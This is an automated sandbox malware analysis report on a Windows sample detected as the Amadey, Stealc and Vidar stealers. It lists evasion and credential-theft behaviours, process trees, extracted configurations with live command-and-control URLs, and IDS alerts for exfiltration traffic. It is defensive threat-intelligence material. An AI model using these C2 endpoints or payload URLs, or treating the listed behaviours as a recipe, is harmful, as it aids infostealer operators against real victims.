Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554285
MD5:	ba4b1f7686f54035029326b69b13145c
SHA1:	f200ea6b1574eadf38af7f23cc30f475ac4e3a2f
SHA256:	3d827bc28190cddf5e51c6f6183cf936f88276ff6854c2e87013902e85f9493e
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Enables debug privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 4328 cmdline: "C:\Users\user\Desktop\file.exe" MD5: BA4B1F7686F54035029326B69B13145C)

chrome.exe (PID: 5904 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7016 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2252 --field-trial-handle=2212,i,7968163992587287453,17615020067299971596,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8088 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2424 --field-trial-handle=2132,i,10544505411866981642,738712716715978789,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 7284 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsKJECFHCBKK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7368 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsKJECFHCBKK.exe (PID: 7940 cmdline: "C:\Users\user\DocumentsKJECFHCBKK.exe" MD5: 1E47E2F65D0C0C34238B0FF295D88686)

skotes.exe (PID: 2448 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1E47E2F65D0C0C34238B0FF295D88686)

msedge.exe (PID: 8132 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3560 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2676 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8252 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7048 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8264 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7188 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8428 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8468 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6624 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8504 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 6440 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6604 --field-trial-handle=2536,i,4610100541938164745,4324422635635765773,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 4560 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1E47E2F65D0C0C34238B0FF295D88686)

skotes.exe (PID: 6804 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 1E47E2F65D0C0C34238B0FF295D88686)

8a46fa4b5e.exe (PID: 8808 cmdline: "C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe" MD5: BA4B1F7686F54035029326B69B13145C)

skotes.exe (PID: 6936 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 1E47E2F65D0C0C34238B0FF295D88686)

fde0e4bc1c.exe (PID: 8720 cmdline: "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe" MD5: 7B8FF73B71BC4D7C309EBC71FF5ACF2E)

8a46fa4b5e.exe (PID: 7332 cmdline: "C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe" MD5: BA4B1F7686F54035029326B69B13145C)

fde0e4bc1c.exe (PID: 9092 cmdline: "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe" MD5: 7B8FF73B71BC4D7C309EBC71FF5ACF2E)

fde0e4bc1c.exe (PID: 7004 cmdline: "C:\Users\user\AppData\Local\Temp\1005727001\fde0e4bc1c.exe" MD5: 7B8FF73B71BC4D7C309EBC71FF5ACF2E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000002.2667251509.0000000000281000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2996564684.0000000001B4B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2703329574.0000000000191000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2667428725.0000000000AA1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2873995638.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000002.2873497903.0000000000BDE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000017.00000002.2693682818.0000000000191000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2995420313.0000000000F11000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001A.00000003.2832941948.0000000005160000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2955119409.0000000005860000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2114623757.0000000004B70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000019.00000002.5942586902.0000000000191000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2667072868.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 4328	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 4328	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 4328	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 4328	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8a46fa4b5e.exe PID: 8808	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8a46fa4b5e.exe PID: 8808	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 8a46fa4b5e.exe PID: 7332	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 8a46fa4b5e.exe PID: 7332	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 16 entries

Unpacked PEs

Source	Rule	Description	Author
22.2.DocumentsKJECFHCBKK.exe.280000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.190000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.190000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
25.2.skotes.exe.190000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6804, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8a46fa4b5e.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 4328, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5904, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1005725001\8a46fa4b5e.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 6804, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\8a46fa4b5e.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:18.437517+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	49768	TCP
2024-11-12T10:37:56.732601+0100	2022930	1	A Network Trojan was detected	4.175.87.197	443	192.168.2.6	50091	TCP

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:42:04.280941+0100	2028371	3	Unknown Traffic	192.168.2.6	50223	20.189.173.16	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:38:14.116163+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50115	185.215.113.43	80	TCP
2024-11-12T10:38:18.052960+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50118	185.215.113.43	80	TCP
2024-11-12T10:38:24.776514+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50121	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:04.076003+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:04.051759+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:04.350010+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:05.493326+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:04.369749+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49709	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:03.772108+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T10:38:14.961719+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50116	185.215.113.206	80	TCP
2024-11-12T10:38:27.443869+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	50123	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:38:05.935813+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50112	185.215.113.43	80	TCP
2024-11-12T10:43:07.551056+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50249	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:38:13.217965+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50113	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:38:09.303121+0100	2803305	3	Unknown Traffic	192.168.2.6	50114	185.215.113.16	80	TCP
2024-11-12T10:38:18.971839+0100	2803305	3	Unknown Traffic	192.168.2.6	50119	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-12T10:37:06.029289+0100	2803304	3	Unknown Traffic	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T10:37:28.357848+0100	2803304	3	Unknown Traffic	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:31.694682+0100	2803304	3	Unknown Traffic	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:33.633455+0100	2803304	3	Unknown Traffic	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:34.718857+0100	2803304	3	Unknown Traffic	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:36.854037+0100	2803304	3	Unknown Traffic	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:37.481956+0100	2803304	3	Unknown Traffic	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:44.570357+0100	2803304	3	Unknown Traffic	192.168.2.6	50018	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/68b591d6548ec281/freebl3.dllF	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dll.	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllH	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php727001	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/pwL	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllIj	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpM	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php725001	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf0l	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpN	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllJ	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpY	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exe1395d7f	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/c4becf79229cb002.php.	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncodedE	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpZ	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php/j	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpI	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpncoded8	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpf	Avira URL Cloud: Label: malware
Source: http://185.215.113.43/Zu7JuNko/index.phpH	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpi	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000002.2667251509.0000000000281000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.4328.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CAD6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CAD6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49761 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50001 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.6:50091 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.16:443 -> 192.168.2.6:50223 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2691499752.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2691817996.000000006CCFF000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
